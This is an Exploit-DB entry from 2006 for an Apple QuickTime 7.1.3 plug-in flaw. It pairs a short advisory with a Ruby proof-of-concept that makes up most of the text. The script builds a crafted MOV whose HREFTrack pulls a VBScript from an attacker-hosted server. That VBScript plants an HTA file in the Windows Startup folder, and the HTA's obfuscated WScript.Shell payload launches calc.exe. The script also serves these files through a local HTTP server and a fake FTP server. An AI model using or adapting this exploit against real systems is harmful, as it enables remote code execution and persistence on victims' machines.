Apple QuickTime 7.1.3 PlugIn - Arbitrary Script Execution

EDB-ID:

28639

Author:

LMH

Type:

remote

Platform:

Linux

Published:

2006-09-21

source: http://www.securityfocus.com/bid/20138/info

Apple QuickTime plug-in is prone to an arbitrary-script-execution weakness when executing QuickTime Media Link files (.qtl).

An attacker can exploit this issue to execute arbitrary script code in the context of the affected application and load local content in a user's browser. Although this weakness doesn't pose any direct security threat by itself, an attacker may use it to aid in further attacks.

QuickTime 7.1.3 is vulnerable; other versions may also be affected.

#!/usr/bin/ruby
#
# (c) 2006 LMH <lmh [at] info-pull.com>
# Original scripting and POC by Aviv Raff (http://aviv.raffon.net).
#
# Description:
#   Exploit for MOAB-03-01-2007. If argument 'serve' is passed, it uses port 21 for running the
#   fake FTP server (required). HTTP server port can be modified but it's
#   not recommended. Adjust as necessary.
#
# see http://projects.info-pull.com/moab/MOAB-03-01-2007.html

require 'socket'
require 'fileutils'
require 'webrick'

trap 0, proc {
  puts "-- Terminating: #{$$}"
}

REMOTE_HOST   = "192.168.1.133" # Modify to match IP address or hostname
REMOTE_URL    = "http://#{REMOTE_HOST}/" # Modify to match target path (ex. /mypath)
TARGET_SCRIPT = "on error resume next\r\n" +
                "Set c = CreateObject(\"ADODB.Connection\")\r\n" +
                "co = \"Driver={Microsoft Text Driver (*.txt; *.csv)};Dbq=#{REMOTE_URL};Extensions=txt;\"\r\n" +
                "c.Open co\r\n" +
                "set rs =CreateObject(\"ADODB.Recordset\")\r\n" +
                "rs.Open \"SELECT * from qtpoc.txt\", c\r\n" +
                "rs.Save \"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\poc.hta\", adPersistXML\r\n" +
                "rs.close\r\n" +
                "c.close\r\n" +
                "window.close\r\n"

HTA_PAYLOAD   = "<script>q='%77%73%63%72%69%70';</script>\r\n" +
                "<script>q+='%74%2E%73%68%65%6C%6C';</script>\r\n" +
                "<script>a=new ActiveXObject(unescape(q));</script>\r\n" +
                "<script>a.run('%windir%\\\\System32\\\\calc.exe');</script>\r\n" + # executes calc.exe
                "<script>window.close();</script>\r\n"

HREFTRACK_COD = "A<res://mmcndmgr.dll/prevsym12.htm#%29%3B%3C/style%3E%3Cscript src=\"#{REMOTE_URL}q.vbs\" " +
                "language=\"vbscript\"%3E%3C/script%3E%3C%21--//|> T<>"

TARGET_DIRECTORY = "served"

#
# ---- Real fun starts here ----
#

puts "++ Preparing files..."

#
# Prepare the MOV file with the HREFTrack pointing at our script.
# 
original_mov = File.read("qtpoc.mov")

# Prepare directory structure
FileUtils::mkdir(TARGET_DIRECTORY)

puts "++ MOV file...."
# Write the new MOV file
f = File.new(File.join(TARGET_DIRECTORY, "qtpoc.mov"), "w")
f.write(original_mov)
f.close

puts "++ Script file...."
# Write the script file
f = File.new(File.join(TARGET_DIRECTORY, "q.vbs"), "w")
f.print(TARGET_SCRIPT)
f.close

puts "++ HTA payload file...."
# Write the new HTA file (payload)
f = File.new(File.join(TARGET_DIRECTORY, "qtpoc.txt"), "w")
f.print(HTA_PAYLOAD)
f.close

#
# win32 doesn't like fork ;-)
#
if ARGV[0] == "serve"
  # HTTP server... via Webrick
  puts "++ Done. Starting HTTP server..."
  web_server   = WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot =>TARGET_DIRECTORY)
  fork do
    begin
      web_server.start
    rescue
      exit
    end
  end

  # FTP server....
  puts "++ Done. Starting FTP server..."
  begin
    ftp_server = TCPServer.new('localhost', 21)
  rescue
    web_server.shutdown
    exit
  end

  # 220 Microsoft FTP Service
  # USER anonymous
  # 331 Anonymous access allowed, send identity (e-mail name) as password.
  # PASS IEUser@
  # 230 Anonymous user logged in.
  # (...)
  while (ftp_session = ftp_server.accept)
    puts "++ FTP: #{ftp_session.gets}"
    # TODO: implement fake responses just to satisfy it.
    ftp_session.close
  end

  # finished
  web_server.shutdown  
end